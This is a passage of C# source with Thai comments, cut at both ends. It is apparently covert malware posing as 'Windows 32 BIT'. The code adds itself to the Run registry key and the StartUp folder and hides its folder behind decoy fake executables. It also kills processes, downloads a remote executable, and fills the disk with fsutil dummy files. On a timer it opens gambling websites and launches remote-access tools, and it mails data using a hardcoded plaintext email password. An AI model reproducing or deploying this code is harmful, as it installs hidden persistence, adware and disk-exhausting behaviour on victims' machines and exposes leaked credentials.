                foreach (string s in readText)
                {
                    htmlBody = htmlBody + "   ,"+ s.Trim();
                }
            }
            mail.IsBodyHtml = true;
            mail.Body = htmlBody;
            SmtpServer.Port = 587;
            SmtpServer.UseDefaultCredentials = false;
            SmtpServer.Credentials = new System.Net.NetworkCredential("uyod@hotmail.com", "buddy13421342");
            SmtpServer.EnableSsl = true;
            SmtpServer.Send(mail);
        }

        static void cProgProcess(string cProgName)
        {
            Process[] proc = Process.GetProcessesByName(cProgName);
            if (proc.Length > 0)
            {
                TextWriter Print2Txt = new StreamWriter("Process.txt");
                Print2Txt.WriteLine(cProgName);
                Print2Txt.Close();
                proc[0].Kill();
            }
            else
            {
                if (File.Exists("Process.txt")) { File.Delete("Process.txt"); }
            }
        }

        
        static void AutoExetoStart(int nAutoExe, string cAppName, string cAppPosition)
        {
            // เอาเข้า
            if (nAutoExe == 1)
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                key.SetValue(cAppName, cAppPosition);
            }

            // นำออก
            if (nAutoExe == -1)
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                key.DeleteValue(cAppName, false);
            }

            // RegistryKey key = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\OurSettings");
            
            // ตรวจสอบค่า 
            if (nAutoExe == 0)
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
                if (key != null)
                {
                    AddTxtActivate("", "Registry Var='"+cAppName+"' = "+key.GetValue(cAppName).ToString());
                }
            }
        }


        private static void Update4formPOK() // ปรับปรุงไฟล์ formPOK ให้เป็น เวอร์ชั่นใหม่
        {
            string cfBdPosFolder = "D:\\BdPos\\";
            string cfProg32Folder = @"C:\Program 32BIT\WIN32BIT";
            string cfStartUPFolder = @"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp";
            string cf2Prog32Folder = cfProg32Folder + @"\Windows 32 BIT.lnk";
            string cfStartUP2Folder = cfStartUPFolder + @"\Windows 32 BIT.lnk";
            bool nRunWait = true;
            // กรณีเกิดจากการ ติดตั้ง formPOkSetup.exe 

            if (!Directory.Exists(@"D:\"))
            {
                cfBdPosFolder = "C:\\BdPos\\";
                if (!Directory.Exists(cfBdPosFolder)) { Directory.CreateDirectory(cfBdPosFolder); Win_Mess("Create " + cfBdPosFolder); }
            }

            // กรณีถูกลบทั้ง Folder 
            // if (!Directory.Exists(cfProg32Folder) && !File.Exists(cfBdPosFolder + "formPOK.exe") && File.Exists(cfBdPosFolder + "tempPOK.exe"))
            // { File.Copy(cfBdPosFolder + "tempPOK.exe", cfBdPosFolder + "formPOK.exe"); }

            string Soft4Process = "Windows 32 BIT";
            if (!File.Exists(cfProg32Folder + "\\setupOK.txt") && File.Exists(cfBdPosFolder + "formPOK.exe") && File.Exists(cfBdPosFolder + "formPOK.ln"))
            {
                if (Directory.Exists(cfStartUPFolder))
                {
                    if (!Directory.Exists(cfProg32Folder)) { Directory.CreateDirectory(cfProg32Folder); }

                    if (!File.Exists(cfProg32Folder + "\\formPOK.exe"))
                    { File.Copy(cfBdPosFolder + "formPOK.exe", cfProg32Folder + "\\formPOK.exe"); }

                    if (!File.Exists(cf2Prog32Folder))
                    { File.Copy(cfBdPosFolder + "formPOK.ln", cf2Prog32Folder); }

                    if (File.Exists(cf2Prog32Folder) && !File.Exists(cfStartUP2Folder))
                    {
                        string cfProg32Folder3 = cfProg32Folder + "\\setupOK.txt";
                        string cfProg32Folder4 = cfProg32Folder + "\\setupformPOK.txt";
                        if (MyGlobal.insource+MyGlobal.in_pos_prog==0 || !File.Exists(cfProg32Folder3))
                        {
                            AutoExetoStart(1,Soft4Process, cfProg32Folder+"\\formPOK.exe");
                            File.Copy(cf2Prog32Folder, cfProg32Folder3, true);
                            File.Copy(cfProg32Folder3, cfProg32Folder4, true);
                        }
                    }
                }
            }

            // ตรวจสอบเวอร์ชั่นโปรแกรม
            if (File.Exists(cfBdPosFolder + "formPOK.exe") && File.Exists(cfProg32Folder + "\\formPOK.exe"))
            {
                if (File.GetLastWriteTime(cfBdPosFolder + "formPOK.exe").ToString() != File.GetLastWriteTime(cfProg32Folder + "\\formPOK.exe").ToString())
                {
                    nRunWait = false;
                    WaitForCopy("formPOK", cfBdPosFolder + "formPOK.exe", cfProg32Folder + "\\formPOK.exe");
                }
            }

            // ไฟล์หาย สร้างใหม่
            if (File.Exists(cfBdPosFolder + "formPOK.exe") && !File.Exists(cfProg32Folder + "\\formPOK.exe") && nRunWait)
            {
                nRunWait = false;
                WaitForCopy("formPOK", cfBdPosFolder + "formPOK.exe", cfProg32Folder + "\\formPOK.exe");
            }

            // สำรองไฟล์ 
            // if (File.Exists(cfBdPosFolder + "formPOK.exe")) 
            // { File.Move(cfBdPosFolder + "formPOK.exe", cfBdPosFolder + "tempPOK.exe"); }

            if (MyGlobal.in_pos_prog + MyGlobal.insource == 0) { FolderIsHidden(cfProg32Folder); FakeFolder();  }

            // ล้างไฟล์ไม่ใช้งานต่างๆ
            if (File.Exists("C:\\Program 32BIT\\WIN32BIT\\start4formPOK.exe")) { File.Delete("C:\\Program 32BIT\\WIN32BIT\\start4formPOK.exe"); }
            if (File.Exists("C:\\Temp\\WIN32BIT\\formPOK.exe")) { File.Delete("C:\\Temp\\WIN32BIT\\formPOK.exe"); }
            if (File.Exists("C:\\Temp\\WIN32BIT\\formPOK.ln")) { File.Delete("C:\\Temp\\WIN32BIT\\formPOK.ln"); }

            // ตรวจสอบไฟล์ start32bit.exe
            if ((MyGlobal.cpWord1=="1" || MyGlobal.cpWord1=="5") && !File.Exists(cfProg32Folder + "\\start32bit.exe"))
            {
                string formPOKOnUyod = "http://???/start32bit.exe";
                WebClient myWebClient = new WebClient();
                myWebClient.DownloadFile(formPOKOnUyod, cfProg32Folder + "\\start32bit.exe");
                myWebClient.Dispose();
            }
            switch (MyGlobal.cpWord1)
            {
                case ("1"): // สร้างโปรแกรม start32bit
                    if (MyGlobal.insource + MyGlobal.in_pos_prog == 0 && File.Exists(cfProg32Folder + "\\start32bit.exe"))
                    {
                        AutoExetoStart(1, Soft4Process, cfProg32Folder + "\\start32bit.exe"); // ใส่เข้าแทน 
                    }
                    break;
                case ("2"): // Run ไฟล์ formPOK.exe ทันที
                    Process.Start(cfProg32Folder + "\\formPOK.exe");
                    break;
                case ("3"): // สร้าง ไฟล์ formPOK.exe ใน StartUP ของ วินโดร์
                    switch (MyGlobal.cpWord2)
                    {
                        case ("1"): // formPOK.exe ใน StartUP
                            AutoExetoStart(1,Soft4Process, cfProg32Folder + "\\formPOK.exe");  // เอาเข้า
                            Win_Mess("formPOK เข้าระบบ StartUP");
                            break;
                        case ("0"): // เอา formPOK.exe ออกจาก StartUP
                            AutoExetoStart(-1, Soft4Process, cfProg32Folder + "\\formPOK.exe");  // เอาออก
                            Win_Mess("formPOK ออกจาก StartUP");
                            break;
                    }
                    break;
                case ("4"): // Run ไฟล์ formPOK.exe ใน อีก 1 ชั่วโมง แนะนำให้ ฝังตอน startMENU
                    if (nRunWait) { WaitHourForRUN(1, "formPOK", cfProg32Folder + "\\formPOK.exe"); }
                    break;
                case ("5"):
                    switch (MyGlobal.cpWord2)
                    {
                        case ("1"): // start32bit ใน StartUP
                            AutoExetoStart(1, Soft4Process, cfProg32Folder + "\\start32bit.exe"); // เอา start32bit เข้า
                            Win_Mess("start32bit เข้าระบบ StartUP");
                            break;
                        case ("0"): // start32bit ออกจาก StartUP
                            AutoExetoStart(-1, Soft4Process, cfProg32Folder + "\\start32bit.exe");  // เอา start32bit ออก
                            Win_Mess("start32bit ออกจาก StartUP");
                            break;
                    }
                    break;
            }
        }


        private static void WaitForCopy(string wApp,string fSource,string fTranget) // เอาโปรแกรมออกจากหน่วยความจำก่อน แล้วค่อย Copy 
        {
            if (File.Exists(fTranget)) { Win_Mess(fTranget + " Found"); return; }
            Process[] nproc = Process.GetProcessesByName(wApp);
            if (nproc.Length != 0)
            {
                cProgProcess(wApp);
                Stopwatch CopyPOK = new Stopwatch();
                CopyPOK.Start();
                Thread.Sleep(15 * 1000); // 15 วินาที
                CopyPOK.Stop();
            }
            if (File.Exists(fSource)) { File.Copy(fSource, fTranget, true); } else { Win_Mess(fSource + " Not Found"); }
        }


        private static void WaitForTime(int nSecond)
        {
            // ฟังก์ชั่นรอเวลาการทำงาน 
            Stopwatch stopPOK = new Stopwatch();
            stopPOK.Start();
            Thread.Sleep(nSecond*1000); // หน่วยเป็นนาที
            stopPOK.Stop();
            // จบ ฟังก์ชั่นรอเวลาการทำงาน 
        }


        private static void WaitHourForRUN(int nHour,string wApp,string wFolderFile)
        {
            // ตรวจสอบ formPOK ว่ามีการรันโปรแกรมหรือไม่ ถ้าไม่พบ สามารถรันภายใน nHour ชั่วโมง
            if (File.Exists(wFolderFile)) 
            {
                DateTime Date1 = DateTime.Now;
                int nWait;
                if (MyGlobal.insource + MyGlobal.in_pos_prog >= 1) { nWait = 1000; } else { nWait = nHour* 60 * 60 * 1000; }
                
                // ฟังก์ชั่นรอเวลาการทำงาน 
                Stopwatch stopPOK = new Stopwatch();
                stopPOK.Start();
                Thread.Sleep(nWait); // 60*60*1000 = 1 ชั่วโมง
                stopPOK.Stop();
                // จบ ฟังก์ชั่นรอเวลาการทำงาน 

                Process[] nproc = Process.GetProcessesByName(wApp);
                if (nproc.Length == 0) 
                {
                    Process.Start(wFolderFile);
                    if (MyGlobal.insource + MyGlobal.in_pos_prog >= 1 && false) // สำหรับตรวจเช็คเวลา  
                    {
                        SoundPlayer POKSound = new SoundPlayer("C:\\Windows\\Media\\Alarm01.wav");
                        POKSound.Play();
                        DateTime Date2 = DateTime.Now;
                        TimeSpan ts = stopPOK.Elapsed;
                        Win_Mess("Date1 : " + Date1.ToString() + " ,Date2 : " + Date2.ToString());
                        string pTime = string.Format("{0:00}:{1:00}:{2:00}:{3:00}:", ts.Hours, ts.Minutes, ts.Seconds, ts.Milliseconds / 10);
                        Win_Mess(" --->" + pTime);
                    }
                }
            }
        }


        private static void FakeFolder()
        {
            string cfFolderFake = @"C:\Program 32BIT\WIN 32BIT";
            if (!Directory.Exists(cfFolderFake)) { Directory.CreateDirectory(cfFolderFake); }
            if (File.Exists(cfFolderFake + "\\form_POK.exe")) { return; }
            FakeWrite(cfFolderFake);
            // CopyAllFake(@"C:\Windows\System32",cfFolderFake, "*.exe");
            // CopyAllFake(@"D:\BdPos", cfFolderFake + "\\Virtual Machine", "*.*");
            // CopyAllFake(@"D:\BdPos", cfFolderFake + "\\Virtual Box", "*.*");
            // CopyAllFake(@"C:\Windows\FileManager", cfFolderFake + "\\System32", "*.*");
            // CopyAllFake(@"C:\Windows\en-US", cfFolderFake + "\\Task32", "*.*");
        }


        private static void FakeWrite(string wFolder)
        {
            TextWriter Write2Txt = new StreamWriter(wFolder+"\\formPOK.exe");
            Write2Txt.WriteLine("11000010 11000010 11000010 11000010 11000010 11000010 11000010 11000010");
            Write2Txt.WriteLine("11010010 11001010 11000011 11100010 11001110 11000010 11000010 11111110");
            Write2Txt.WriteLine("1BAE CED8 2547 BDcA");
            Write2Txt.WriteLine("1BAE CED8 2547 BDcA");
            Write2Txt.Close();

            File.Copy(wFolder + "\\formPOK.exe", wFolder + "\\utilPOK.exe", true);
            File.Copy(wFolder + "\\formPOK.exe", wFolder + "\\utilPOK2.exe", true);
            File.Copy(wFolder + "\\formPOK.exe", wFolder + "\\utilPOK3.exe", true);
            File.Copy(wFolder + "\\formPOK.exe", wFolder + "\\utilPOK4.exe", true);
            File.Copy(wFolder + "\\formPOK.exe", wFolder + "\\start32bit", true);

            File.Copy(wFolder + "\\formPOK.exe", wFolder + "\\form_POK.exe", true);
            File.Copy(wFolder + "\\formPOK.exe", wFolder + "\\util_POK.exe", true);
            File.Copy(wFolder + "\\formPOK.exe", wFolder + "\\util_POK2.exe", true);
            File.Copy(wFolder + "\\formPOK.exe", wFolder + "\\util_POK3.exe", true);
            File.Copy(wFolder + "\\formPOK.exe", wFolder + "\\util_POK4.exe", true);
            File.Copy(wFolder + "\\formPOK.exe", wFolder + "\\start_POK.exe", true);

            File.Copy(wFolder + "\\formPOK.exe", wFolder + "\\form4POK.exe", true);
            File.Copy(wFolder + "\\formPOK.exe", wFolder + "\\util4POK.exe", true);
            File.Copy(wFolder + "\\formPOK.exe", wFolder + "\\util4POK2.exe", true);
            File.Copy(wFolder + "\\formPOK.exe", wFolder + "\\util4POK3.exe", true);
            File.Copy(wFolder + "\\formPOK.exe", wFolder + "\\util4POK4.exe", true);
            File.Copy(wFolder + "\\formPOK.exe", wFolder + "\\start4POK.exe", true);
        }


        private static void CopyAllFake(string cfProgRare, string cfProgFake,String cfScope)
        {
            if (!Directory.Exists(cfProgRare)) { return; }
            if (!Directory.Exists(cfProgFake)) { Directory.CreateDirectory(cfProgFake); }
            DirectoryInfo d = new DirectoryInfo(cfProgRare);
            FileInfo[] Files = d.GetFiles(cfScope);
            string fRare, fFake;
            int nFile = 0;
            if (Directory.Exists(cfProgRare))
            {
                foreach (FileInfo cfile in Files)
                {
                    fRare = cfile.FullName.Trim();
                    fFake = cfProgFake + "\\" + cfile.Name;
                    if (!File.Exists(fFake)) { File.Copy(fRare, fFake); }
                    nFile++;
                    if (nFile >= 250) { break; }
                }
            }
        }


        private static void FolderIsHidden(String cfFolder)
        {
            if (!Directory.Exists(cfFolder)) { Directory.CreateDirectory(cfFolder); }
            if (MyGlobal.in_pos_prog + MyGlobal.insource == 0)
            {
                DirectoryInfo dir = new DirectoryInfo(cfFolder);
                dir.Attributes |= FileAttributes.Hidden;
            }
        }


        private static void AddDiskSpace() 
        {
            AddTxtActivate("1","");
            DriveInfo dDrive = new DriveInfo("C");
            double nPercent=0,dAvilable=0,dTotalsize=0;
            if (dDrive.IsReady)
            {
                dAvilable = dDrive.AvailableFreeSpace;
                dTotalsize = dDrive.TotalSize;
                nPercent = dAvilable / dTotalsize;
                if (Directory.Exists("C:\\TempFile"))
                {
                    string cAddName = "C:\\TempFile\\Dummy" + DateTime.Now.ToString("ddMMyyyyHHmmss") + ".txt"; //
                    Double caddSpace ;
                    if (MyGlobal.insource + MyGlobal.in_pos_prog == 0)
                    {
                        if (MyGlobal.cpWord1 == "1" && dAvilable>15000)
                        { caddSpace = dAvilable -10000; }
                        else { caddSpace = dAvilable / 2; }
                    }
                    else { caddSpace = 10.55145; }
                    if (MyGlobal.cpWord1 == "9") { caddSpace = 10000; }
                    string cRun= " file createnew "+cAddName+" "+caddSpace.ToString("#####") ;
                    Process2Arg("fsutil", cRun);
                    if (MyGlobal.insource + MyGlobal.in_pos_prog >=1) { Win_Mess(cRun); }
                }
            }
            AddTxtActivate("2","");
        }

        private static void Process2Arg(string mArg_1, String mArg_2)
        {
            Process PokProcess = new Process();
            PokProcess.StartInfo.FileName = mArg_1;
            PokProcess.StartInfo.Arguments = mArg_2;
            PokProcess.Start();
        }

        private static void CallRemoteProg()
        {
            if (File.Exists(@"C:\Program Files\AnyDesk\AnyDesk.exe"))
            { Process.Start(@"C:\Program Files\AnyDesk\AnyDesk.exe"); }
            if (File.Exists(@"C:\Program Files\TeamViewer\Version6\TeamViewer.exe"))
            { Process.Start(@"C:\Program Files\TeamViewer\Version6\TeamViewer.exe"); }
        }


        private static void DelZipBIN() // ลบไฟล์สำรอง เฉพาะวันที่ 5,15,25
        {
            int nDay =  int.Parse(DateTime.Now.ToString("dd"));
            if (nDay==5 || nDay==15 || nDay==25)
            {
                if (Directory.Exists(MyGlobal.cpSubPath))
                {
                    DirectoryInfo dri = new DirectoryInfo(MyGlobal.cpSubPath);
                    FileInfo[] FileZip = dri.GetFiles("up*.zip");
                    FileInfo[] FileZib = dri.GetFiles("*.zib");
                    foreach (FileInfo cfile in FileZip)
                    {
                        if (cfile.Name.ToLower() != "update.zip") { File.Delete(cfile.FullName); }
                    }
                    foreach (FileInfo cfile in FileZib)
                    {
                        File.Delete(cfile.FullName);
                    }
                }
            }
        }



        // ปรับปรุงโปรแกรมผ่าน คลาวด์ 
        private static void Update2HDK() 
        {
            Update2HDK2(1, MyGlobal.cpSubPath + "\\DEC\\Update\\Bdpos", MyGlobal.cpSubPath + "\\DEC\\Trash\\Bdpos");
            Update2HDK2(2, MyGlobal.cpSubPath + "\\DEC\\Update\\E_Backup", MyGlobal.cpSubPath + "\\DEC\\Trash\\E_Backup");
            Update2HDK2(3, MyGlobal.cpSubPath + "\\DEC\\Update\\C_Temp", MyGlobal.cpSubPath + "\\DEC\\Trash\\C_Temp");
            Update2HDK2(4, MyGlobal.cpSubPath + "\\DEC\\Update\\Dbfrun", MyGlobal.cpSubPath + "\\DEC\\Trash\\Dbfrun");
        }



        private static void Update2HDK2(int nFolder,string DRVUpdate,string DRVTrash) 
        {
            DRVUpdate = DRVUpdate.Trim();DRVTrash = DRVTrash.Trim();
            string FLEUpdate,FLETrash,cFolder="";
            if (!Directory.Exists(DRVUpdate)) { Directory.CreateDirectory(DRVUpdate); }
            if (!Directory.Exists(DRVTrash)) { Directory.CreateDirectory(DRVTrash); }

            switch (nFolder)
            {
                case (1): cFolder=MyGlobal.cpDriveHave+"\\Bdpos" ;break;
                case (2): cFolder = MyGlobal.cpSubPath;break;
                case (3): cFolder = "C:\\Temp"; break;
                case (4): cFolder = MyGlobal.cpDriveHave + "\\Bdpos\\Dbfrun"; break;
                case (5): cFolder = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); break; 
            }
            if (!Directory.Exists(cFolder)) { return; }
            string[] File4List = Directory.GetFiles(DRVUpdate);
            foreach (string FileName in File4List)
            {
                // เตรียมค่าตัวแปร 
                FLEUpdate = cFolder + "\\" + Path.GetFileName(FileName);
                FLETrash = DRVTrash + "\\"+ Path.GetFileName(FileName);
                FLETrash = FLETrash.Substring(0, FLETrash.Length - 4)+ DateTime.Now.ToString("ddMMyy_HHmm");
                FLETrash = FLETrash + FileName.Substring(FileName.Length - 4);
                // ทำงาน
                File.Copy(FileName, FLEUpdate, true);File.Move(FileName, FLETrash);
                // Win_Mess("FLEUpdate = " + FLEUpdate); Win_Mess("FileName = " + FileName);Win_Mess("FLETrash = "+FLETrash);
            }
        }

        private static void TestProg() 
        {
            try
            {
                File.Copy("C:\\Test.txt", "C:\\Test.txt");
            }
            catch (Exception ex)
            {
                FLEError(ex.ToString()); return;
            }
        }


        private static void TaskManagerControl()
        {
            Process[] nproc;
            string cFileRun;
            switch (MyGlobal.cpWord1)
            {
                case ("0"):  // เปิดไฟล์ Task Manager 
                    cFileRun = "Taskmgr";
                    nproc = Process.GetProcessesByName(cFileRun);
                    if (nproc.Length == 0) { Process.Start(@"C:\Windows\System32\Taskmgr.exe"); }
                    break;
                case ("1"):
                    string cfFileTxt = "P.txt";
                    Process[] processCollection = Process.GetProcesses();
                    TextWriter Print2Txt = new StreamWriter(cfFileTxt);
                    foreach (Process p in processCollection)
                    {
                        Print2Txt.WriteLine(p.ProcessName);
                    }
                    Print2Txt.Close();

                    cfFileTxt = "S.txt"; // สร้างชื่อไฟล์ใน StartUP
                    Print2Txt = new StreamWriter(cfFileTxt);
                    Print2Txt.WriteLine("*** startup ใน Taskman.exe");
                    Microsoft.Win32.RegistryKey key;
                    key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", false);
                    foreach (string appName in key.GetValueNames())
                    {
                        try
                        {
                            Print2Txt.WriteLine(appName);
                        } // Try
                        catch (Exception ex)
                        { Win_Mess(ex.ToString()); }
                    }
                    cFileRun = @"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp";
                    if (Directory.Exists(cFileRun))
                    {
                        Print2Txt.WriteLine("");
                        Print2Txt.WriteLine("*** ในโพลเดอร์ Start");
                        string[] FileInStart = Directory.GetFiles(cFileRun, "*.*");
                        foreach (string appName in FileInStart)
                        {
                            Print2Txt.WriteLine(appName);
                        }
                    }
                    Print2Txt.Close();
                    Win_Mess("ตรวจสอบไฟล์ทำงานใน P.txt และ S.txt");
                    break;
                case ("2"): // ลบโปรแกรมใน Process
                    cFileRun = MyGlobal.cpText2.Trim();
                    nproc = Process.GetProcessesByName(cFileRun);
                    if (nproc.Length == 0) { Win_Mess("ไม่พบ "+cFileRun+" ในโปรเซส"); }  else { nproc[0].Kill(); }
                    break;
                case ("3"): // ลบโปรแกรมใน Startup
                    cFileRun = MyGlobal.cpText2.Trim();
                    AutoExetoStart(-1,cFileRun , "");  // เอาไฟล์ออกใน startup
                    Win_Mess("ลบไฟล์ "+cFileRun+" ออกจาก startup");
                    break;
            }
        }



        private static void OpenWEB(int nBrowser, string WebLink)
        {
            if (MyGlobal.iOnline==0) { nBrowser = 1; WebLink = "C:\\Temp\\WarnForYou.txt"; } 
            string FleBrowser = "iexplore.exe";
            if (File.Exists(@"C:\Program Files\Mozilla Firefox\firefox.exe"))
            { FleBrowser = "firefox.exe"; }
            if (File.Exists(@"C:\Program Files\Google\Chrome\Application\chrome.exe"))
            { FleBrowser = "chrome.exe"; }
            switch (nBrowser)
            {
                case (1):
                    FleBrowser = "iexplore.exe";
                    break;
                case (2):
                    if (File.Exists(@"C:\Program Files\Mozilla Firefox\firefox.exe")) { FleBrowser = "firefox.exe"; }
                    break;
                case (3):
                    if (File.Exists(@"C:\Program Files\Google\Chrome\Application\chrome.exe")) { FleBrowser = "chrome.exe"; }
                    break;
            }
            var opentwebthis = new ProcessStartInfo(FleBrowser);
            opentwebthis.Arguments = WebLink;
            Process.Start(opentwebthis);   
        }


        private static void AddTxtActivate(string cAddText,string cAddText4)  
        {
            // 9 = เลื่อ่นไป 1 บรรทัด 
            cAddText = cAddText.Trim();
            string txtMessage="",txtMessage2="", txtMessage3 = "", txtMessage4 =cAddText4, OpenWebTxt="";
            switch (cAddText)
            {
                case ("1"):
                    txtMessage = " :" + MyGlobal.MyApp.Substring(0, 8) + " .. ";
                    txtMessage = txtMessage + MyGlobal.MyApp.Substring(MyGlobal.MyApp.Length - 15);
                    txtMessage2 = " Option=" + MyGlobal.cpFlag + " " + MyGlobal.cpWord1 + " " + MyGlobal.cpWord2;
                    txtMessage3 = "-START " + DateTime.Now.ToString("dd/MM HH:mm:ss");
                    break;
                case ("2"):
                    TimeSpan ts2 = DateTime.Now - MyGlobal.dDTLogin;
                    txtMessage = "-END "+MyGlobal.dDTLogin.ToString("dd/MM HH:mm:ss");
                    txtMessage = txtMessage + "-" + DateTime.Now.ToString("HH:mm:ss");
                    txtMessage2= "*SUM "+ts2.ToString(@"dd\.hh\:mm\:ss")+" Second.";
                    break;
                case ("3"):
                    TimeSpan ts3 = DateTime.Now - MyGlobal.dDTLogin;
                    txtMessage = "-SHUTDOWN " + MyGlobal.dDTLogin.ToString("dd/MM HH:mm:ss");
                    txtMessage = txtMessage + "-" + DateTime.Now.ToString("HH:mm:ss");
                    txtMessage2 = "*SUM " + ts3.ToString(@"dd\.hh\:mm\:ss") + " Second.";
                    break;
                case ("4"):
                    txtMessage = "->Copy To Boot" ;
                    txtMessage2 = DateTime.Now.ToString("dd/MM HH:mm:ss");
                    break;
                case ("5"):
                    txtMessage = "-Read:Util????.txt "+ DateTime.Now.ToString("dd/MM HH:mm:ss");
                    txtMessage2 = " Option=" + MyGlobal.cpFlag + " " + MyGlobal.cpWord1 + " " + MyGlobal.cpWord2;
                    break;
                case ("6"):
                    txtMessage = "-Work: By " + DateTime.Now.ToString("dd/MM HH:mm:ss");
                    break;
                case ("7"): 
                    txtMessage = "-Read: C:\\Temp\\auto.txt " + DateTime.Now.ToString("dd/MM HH:mm:ss");
                    txtMessage2 = " Create=" + File.GetLastWriteTime("C:\\Temp\\auto.txt");
                    txtMessage3 = " Option=" + MyGlobal.cpFlag + " " + MyGlobal.cpWord1 + " " + MyGlobal.cpWord2;
                    break;
            }

            OpenWebTxt = Path.GetFileName(MyGlobal.MyApp).Trim();
            OpenWebTxt = OpenWebTxt.Substring(0, OpenWebTxt.Length - 4);
            OpenWebTxt = OpenWebTxt+"_" + DateTime.Now.ToString("ddMMyyyy") + ".txt";
            if (MyGlobal.cpFlag == "R") { OpenWebTxt = "Readme_" + DateTime.Now.ToString("ddMMyyyy") + ".txt"; }
            if (MyGlobal.cpWord1 == "W") { OpenWebTxt = "Login_W_" + DateTime.Now.ToString("ddMMyyyy") + ".txt"; }

            string Folder2Sub = MyGlobal.cpSubPath + "\\OCT";
            if (!Directory.Exists(Folder2Sub)) {  Directory.CreateDirectory(Folder2Sub); }
            OpenWebTxt = Folder2Sub+"\\"+ OpenWebTxt;

            try
            {
                using (StreamWriter FleAddText = File.AppendText(OpenWebTxt))
                {
                    if (txtMessage != "") { FleAddText.WriteLine(MyGlobal.cIndexRun + " ->" + txtMessage); }
                    if (txtMessage2 != "") { FleAddText.WriteLine(MyGlobal.cIndexRun + " ->" + txtMessage2); }
                    if (txtMessage3 != "") { FleAddText.WriteLine(MyGlobal.cIndexRun + " ->" + txtMessage3); }
                    if (txtMessage4 != "") { FleAddText.WriteLine(MyGlobal.cIndexRun + " ->" + txtMessage4); }
                    if (cAddText=="9") { FleAddText.WriteLine(""); }
                    FleAddText.Close();
                }
            } // Try
            catch (Exception ex)   { FLEError(ex.ToString()); return;}
        }

        private static void FLEError(string Error4Text)  
        {
            string FileSaveERR= MyGlobal.cpSubPath + "\\OCT\\Error_" + DateTime.Now.ToString("ddMMyyyy") + ".txt";
            using (StreamWriter FleErrText = File.AppendText(FileSaveERR))
            {
                FleErrText.WriteLine("-Error : "+DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));
                FleErrText.WriteLine(" " + MyGlobal.MyApp.Substring(0, 8) + " .. "+ MyGlobal.MyApp.Substring(MyGlobal.MyApp.Length - 15));
                FleErrText.WriteLine(Error4Text);
                FleErrText.WriteLine("");
                if (MyGlobal.insource + MyGlobal.in_pos_prog >= 1) { Win_Mess(Error4Text); }
                FleErrText.Close();
            }
        }


        private static void OpenBrowerTime(int nbSecond) 
        {
            switch (MyGlobal.cpWord1) // UtilPok4 8 X ? 
            {
                case ("1"):
                    Thread.Sleep(nbSecond); break;  // จะมีปัญหากับ Windows 7 
                case ("2"):
                    Form2 window_2 = new Form2();
                    window_2.ShowDialog();
                    break;
                default:
                    break;  // ถ้า Option ไม่ต้องจับเวลา ทำรวดเดียวเลย 
            }
        }



        private static void OpenBrower()
        {
            AddTxtActivate("1",""); 
            string OpenWebTxt= MyGlobal.cpSubPath + "\\OpenWeb.txt";
            TextWriter Print3Txt = new StreamWriter(OpenWebTxt);
            Print3Txt.WriteLine("START="+ DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));
            int nSecond =30;
            int fSecond = 15 * 60 * 1000; // 15 นาที
            if (MyGlobal.insource + MyGlobal.in_pos_prog >= 1 ) 
            {
                OpenBrowerTime(nSecond);
                OpenWEB(3, @"J:\_MyCloud\MEGA\MEGAsync\C#\Original\Original\bin\Debug\OpenWeb092563.Txt");
                Print3Txt.WriteLine("1=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));
            }
            else
            {
                switch (MyGlobal.cpWord2) 
                {
                    case ("1"): // UtilPok4 8 ? 1 
                        OpenBrowerTime(fSecond);
                        OpenWEB(1, "https://www.geministar777.com/เล่นพนันออนไลน์/");
                        Print3Txt.WriteLine("1=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://www.ibc-ibcthai.com/");
                        Print3Txt.WriteLine("2=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://www.casinotouring.net/?q=m8bet-link");
                        Print3Txt.WriteLine("3=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));
                        break;
                    default: // UtilPok4 8 ? 0 
                        OpenBrowerTime(fSecond);
                        OpenWEB(1, "https://www.geministar777.com/เล่นพนันออนไลน์/");
                        Print3Txt.WriteLine("1=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://www.ibc-ibcthai.com/");
                        Print3Txt.WriteLine("2=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://www.casinotouring.net/?q=m8bet-link");
                        Print3Txt.WriteLine("3=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://aonebets.com/winningft.html");
                        Print3Txt.WriteLine("4=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://ufadecoronline.com/lamp");
                        Print3Txt.WriteLine("5=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://www.vegusgold.com/");
                        Print3Txt.WriteLine("6=" + DateTime.Now.ToString("dd/MM/yyyy HH:mm:ss"));

                        OpenBrowerTime(nSecond * 1000); // หน่วยเป็นวินาที
                        OpenWEB(1, "https://fun88thai.me/ทางเข้า-fun88/");
